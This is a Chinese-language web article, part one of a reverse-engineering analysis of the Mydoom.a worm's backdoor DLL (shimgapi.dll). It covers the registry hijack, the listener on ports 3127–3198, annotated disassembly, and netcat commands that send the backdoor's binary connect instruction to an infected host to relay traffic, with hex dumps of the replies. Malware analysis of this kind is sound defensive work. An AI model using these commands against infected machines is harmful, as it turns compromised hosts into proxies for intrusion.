首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 对Mydoom.a的shimgapi.dll的分析 上
【标  题】:对Mydoom.a的shimgapi.dll的分析 上
【关键字】:dll,api,My,do,Mydoom,Mydoom,shimgapi,dll
【来  源】:网络

对Mydoom.a的shimgapi.dll的分析 上

  Mydoom.a的后门是以dll形式存在的,通过修改注册表相应键值,将自己加载到资源管理器的进程空间中。

正常情况下,注册表应该是这个样子的:
HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InProcServer32
    <NO NAME>   REG_EXPAND_SZ   %SystemRoot%\System32\webcheck.dll
    ThreadingModel      REG_SZ  Apartment

而Mydoom.a将该处的%SystemRoot%\System32\webcheck.dll替换成自己的shimgapi.dll。

默认情况下,shimgapi.dll后门监听3127端口,如果该端口被占用,则递增,但不大于3198。

该后门提供了两个功能:
1、作为端口转发代理
2、作为后门,接收程序上传并执行

相关代码:
.text:7E1A1C44 sub_7E1A1C44    proc near               ; DATA XREF: start+19o
.text:7E1A1C44
.text:7E1A1C44 WSAData         = WSAData ptr -190h
.text:7E1A1C44
.text:7E1A1C44          sub     esp, 190h
.text:7E1A1C4A          push    esi
.text:7E1A1C4B          push    edi
.text:7E1A1C4C          call    sub_7E1A1A1F
.text:7E1A1C51          lea     eax, [esp+198h+WSAData]
.text:7E1A1C55          push    eax             ; lpWSAData
.text:7E1A1C56          push    2               ; wVersionRequested
.text:7E1A1C58          call    ds:WSAStartup
.text:7E1A1C5E          call    Address
.text:7E1A1C63          mov     edi, ds:Sleep
.text:7E1A1C69          mov     esi, 0C37h      ; 监听3127端口
.text:7E1A1C6E
.text:7E1A1C6E loc_7E1A1C6E:                     ; CODE XREF: sub_7E1A1C44+50j
.text:7E1A1C6E          push    3
.text:7E1A1C70          push    esi
.text:7E1A1C71          call    sub_7E1A1B52    ; bind子程序
.text:7E1A1C76          pop     ecx
.text:7E1A1C77          pop     ecx
.text:7E1A1C78          push    400h            ; dwMilliseconds
.text:7E1A1C7D          call    edi ; Sleep
.text:7E1A1C7F          cmp     esi, 0C7Eh      ; 端口不大于3198
.text:7E1A1C85          jle     short loc_7E1A1C93
.text:7E1A1C87          push    800h            ; dwMilliseconds
.text:7E1A1C8C          call    edi ; Sleep
.text:7E1A1C8E          mov     esi, 0C37h
.text:7E1A1C93
.text:7E1A1C93 loc_7E1A1C93:                     ; CODE XREF: sub_7E1A1C44+41j
.text:7E1A1C93          inc     esi             ; 如果端口大于3198则减1后重新bind
.text:7E1A1C94          jmp     short loc_7E1A1C6E
.text:7E1A1C94 sub_7E1A1C44    endp

当3127端口收到连接之后,如果recv的第一个字符是\x04,转入端口转发流程 --> 判断第二个字符是否是0x01 --> 取第5~8四个字符作为目标IP地址 --> 取3、4两个字符作为目标端口 --> 进行连接并和当前socket数据转发

例如,我们以\x00\x6e\xc0\xa8\x01\x0b作为连接指令,其中,\x00\x6e是110端口,\xc0\xa8\x01\x0b是192.168.1.11。

# printf \x04\x01\x00\x6e\xc0\xa8\x01\x0b\x00 | nc 192.168.7.33 3127
Z括 +OK Microsoft Exchange Server 2003 POP3 server version 6.5.6944.0 ready.

可以看到,发往192.168.1.11的110端口的会话被转回来了。请注意在返回的字符前面还包含了一段数据。再作测试:

# printf \x04\x01\x00\x6e\xc0\xa8\x01\x0b\x00 | nc 192.168.7.33 3127 | xxd -g 1
0000000: 04 5a 00 6e c0 a8 01 0b 2b 4f 4b 20 4d 69 63 72  .Z.n....+OK Micr
0000010: 6f 73 6f 66 74 20 45 78 63 68 61 6e 67 65 20 53  osoft Exchange S
0000020: 65 72 76 65 72 20 32 30 30 33 20 50 4f 50 33 20  erver 2003 POP3
0000030: 73 65 72 76 65 72 20 76 65 72 73 69 6f 6e 20 36  server version 6
0000040: 2e 35 2e 36 39 34 34 2e 30 20 28 64 63 2e 69 6e  .5.6944.0

尝试发送指令连接不存在的98端口:
# printf \x04\x01\x00\x62\xc0\xa8\x01\x0b\x00 | nc 192.168.7.33 3127 | xxd -g 1
0000000: 04 5b 00 62 c0 a8 01 0b                    .[.b....

很显然,那一段数据是表示连接状态的。04 5a表示连接成功,04 5b表示连接失败。后面的是发送过去的连接指令。这一特性可能是蠕虫作者为了方便自己的客户端判断而设计的。

相关代码:
.text:7E1A17F5
.text:7E1A17F5 loc_7E1A17F5:                     ; CODE XREF: sub_7E1A17BA+2Bj
.text:7E1A17F5          cmp     byte ptr [ebp-1], 4 ; 比较第一个字符是不是0x04
.text:7E1A17F9          push    ebx
.text:7E1A17FA          jnz     loc_7E1A18B7    ; 第一个字符不是0x04则转入退出
.text:7E1A1800          xor     ebx, ebx
.text:7E1A1802
.text:7E1A1802 loc_7E1A1802:                     ; CODE XREF: sub_7E1A17BA+65j
.text:7E1A1802          push    0               ; flags
.text:7E1A1804          push    8
.text:7E1A1806          pop     eax
.text:7E1A1807          sub     eax, ebx
.text:7E1A1809          push    eax             ; len
.text:7E1A180A          lea     eax, [ebp+ebx+buf]
.text:7E1A180E          push    eax             ; buf
.text:7E1A180F          push    [ebp+s]         ; s
.text:7E1A1812          call    esi ; recv
.text:7E1A1814          test    eax, eax
.text:7E1A1816          jl      short loc_7E1A1823
.text:7E1A1818          jz      short loc_7E1A1825
.text:7E1A181A          add     ebx, eax
.text:7E1A181C          cmp     ebx, 8          ; 比较接收到的字符够不够8个
.text:7E1A181F          jl      short loc_7E1A1802 ; 接受到的字符数不够则继续recv
.text:7E1A1821          jmp     short loc_7E1A1825
.text:7E1A1823 ; .......................................
.text:7E1A1823
.text:7E1A1823 loc_7E1A1823:                     ; CODE XREF: sub_7E1A17BA+5Cj
.text:7E1A1823          mov     ebx, eax
.text:7E1A1825
.text:7E1A1825 loc_7E1A1825:                     ; CODE XREF: sub_7E1A17BA+5Ej
.text:7E1A1825                             ; sub_7E1A17BA+67j
.text:7E1A1825          cmp     ebx, 8
.text:7E1A1828          jnz     loc_7E1A1907
.text:7E1A182E          jmp     short loc_7E1A1836
.text:7E1A1830 ; ......................................
.text:7E1A1830
.text:7E1A1830 loc_7E1A1830:                     ; CODE XREF: sub_7E1A17BA+8Cj
.text:7E1A1830          cmp     [ebp+var_2], 0  ; 比较8个字符后的字符是否是0x00,也就是说是否只发送了8个字符
.text:7E1A1834          jz      short loc_7E1A184A
.text:7E1A1836
.text:7E1A1836 loc_7E1A1836:                     ; CODE XREF: sub_7E1A17BA+74j
.text:7E1A1836          push    0
.text:7E1A1838          lea     eax, [ebp+var_2]
.text:7E1A183B          push    1
.text:7E1A183D          push    eax
.text:7E1A183E          push    [ebp+s]
.text:7E1A1841          call    esi
.text:7E1A1843          cmp     eax, 1
.text:7E1A1846          jz      short loc_7E1A1830
.text:7E1A1848          jmp     short loc_7E1A18B7
.text:7E1A184A ; ..........................................
对Mydoom.a的shimgapi.dll的分析 下:【上一篇】
亲手打造一个QQ恶作剧程序 上:【下一篇】
【相关文章】
  • 对Mydoom.a的shimgapi.dll的分析 下
  • Windows 2000下的Raw Socket编程
  • 收藏经典:windows消息大全一
  • 收藏经典:windows消息大全二
  • 收藏经典:windows消息大全三
  • 收藏经典:windows消息大全四
  • 中国计算机教学网的mysql.class.php
  • EXE变DOC的方法
  • 榕最新写的服务级后门-----BITS.dll
  • 利用反弹技术进行DDoS攻击的分析
  • 【随机文章】
  • parameter & argument
  • 将HTML表单数据存储为XML格式(3)
  • 用ASP+Access创建网站RSS格式内容摘要
  • 全国计算机等级考试(三级A)考试大纲
  • 任何软件或窗口在关闭时都出现EXE错误,提示要关闭
  • 关于iptables的一点随笔
  • Asp中调用VB编写的DLL
  • Tomcat中文乱码问题的原理和解决方法
  • 开始新的任务
  • Oracle分页的一个问题
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.